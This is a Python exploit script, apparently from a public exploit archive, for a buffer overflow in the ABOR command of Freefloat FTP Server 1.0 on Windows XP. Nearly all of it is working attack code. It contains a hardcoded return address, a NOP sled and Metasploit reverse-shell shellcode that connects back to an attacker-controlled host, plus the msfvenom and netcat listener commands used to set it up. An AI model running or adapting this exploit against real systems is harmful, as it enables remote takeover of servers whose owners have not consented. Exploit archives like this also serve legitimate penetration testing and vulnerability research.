Freefloat FTP Server 1.0 ABOR Buffer Overflow

`#!/usr/bin/env python  
#-*- coding: utf-8 -*-  
  
# Exploit Title: FreeFloat FTP Server BoF ABOR Command  
# Date: 29/10/2016  
# Exploit Author: Ger  
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip  
# Version: 1.0  
# Tested on: Windows XP Profesional V. 2002 Service Pack 3  
# CVE : n/a  
  
import socket  
#shellcode with metasploit  
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.74.132 LPORT=443 -b '\x00\x0d\x0a' -f c  
#nc -lvp 443  
#send the exploit  
ret='\x73\x18\x6E\x74' #MSCTF.dll  
shellcode=("\xdd\xc6\xd9\x74\x24\xf4\x5d\xb8\x2a\xb4\x5a\x74\x29\xc9\xb1"  
"\x52\x31\x45\x17\x03\x45\x17\x83\xef\xb0\xb8\x81\x13\x50\xbe"  
"\x6a\xeb\xa1\xdf\xe3\x0e\x90\xdf\x90\x5b\x83\xef\xd3\x09\x28"  
"\x9b\xb6\xb9\xbb\xe9\x1e\xce\x0c\x47\x79\xe1\x8d\xf4\xb9\x60"  
"\x0e\x07\xee\x42\x2f\xc8\xe3\x83\x68\x35\x09\xd1\x21\x31\xbc"  
"\xc5\x46\x0f\x7d\x6e\x14\x81\x05\x93\xed\xa0\x24\x02\x65\xfb"  
"\xe6\xa5\xaa\x77\xaf\xbd\xaf\xb2\x79\x36\x1b\x48\x78\x9e\x55"  
"\xb1\xd7\xdf\x59\x40\x29\x18\x5d\xbb\x5c\x50\x9d\x46\x67\xa7"  
"\xdf\x9c\xe2\x33\x47\x56\x54\x9f\x79\xbb\x03\x54\x75\x70\x47"  
"\x32\x9a\x87\x84\x49\xa6\x0c\x2b\x9d\x2e\x56\x08\x39\x6a\x0c"  
"\x31\x18\xd6\xe3\x4e\x7a\xb9\x5c\xeb\xf1\x54\x88\x86\x58\x31"  
"\x7d\xab\x62\xc1\xe9\xbc\x11\xf3\xb6\x16\xbd\xbf\x3f\xb1\x3a"  
"\xbf\x15\x05\xd4\x3e\x96\x76\xfd\x84\xc2\x26\x95\x2d\x6b\xad"  
"\x65\xd1\xbe\x62\x35\x7d\x11\xc3\xe5\x3d\xc1\xab\xef\xb1\x3e"  
"\xcb\x10\x18\x57\x66\xeb\xcb\x98\xdf\xb9\x8f\x71\x22\x3d\x91"  
"\x3a\xab\xdb\xfb\x2c\xfa\x74\x94\xd5\xa7\x0e\x05\x19\x72\x6b"  
"\x05\x91\x71\x8c\xc8\x52\xff\x9e\xbd\x92\x4a\xfc\x68\xac\x60"  
"\x68\xf6\x3f\xef\x68\x71\x5c\xb8\x3f\xd6\x92\xb1\xd5\xca\x8d"  
"\x6b\xcb\x16\x4b\x53\x4f\xcd\xa8\x5a\x4e\x80\x95\x78\x40\x5c"  
"\x15\xc5\x34\x30\x40\x93\xe2\xf6\x3a\x55\x5c\xa1\x91\x3f\x08"  
"\x34\xda\xff\x4e\x39\x37\x76\xae\x88\xee\xcf\xd1\x25\x67\xd8"  
"\xaa\x5b\x17\x27\x61\xd8\x27\x62\x2b\x49\xa0\x2b\xbe\xcb\xad"  
"\xcb\x15\x0f\xc8\x4f\x9f\xf0\x2f\x4f\xea\xf5\x74\xd7\x07\x84"  
"\xe5\xb2\x27\x3b\x05\x97")  
buffer='\x90'*20 + shellcode  
buffer1='\x41'*247 + ret + buffer + '\x43'*(696-len(buffer))  
  
print "Sending Buffer"  
  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect(('192.168.74.133', 21))  
s.recv(1024)   
s.send('USER anonymous\r\n')  
s.recv(1024)  
s.send('PASS anonymous\r\n')  
s.recv(1024)  
s.send('ABOR' + buffer1 + '\r\n')  
s.close()  
  
`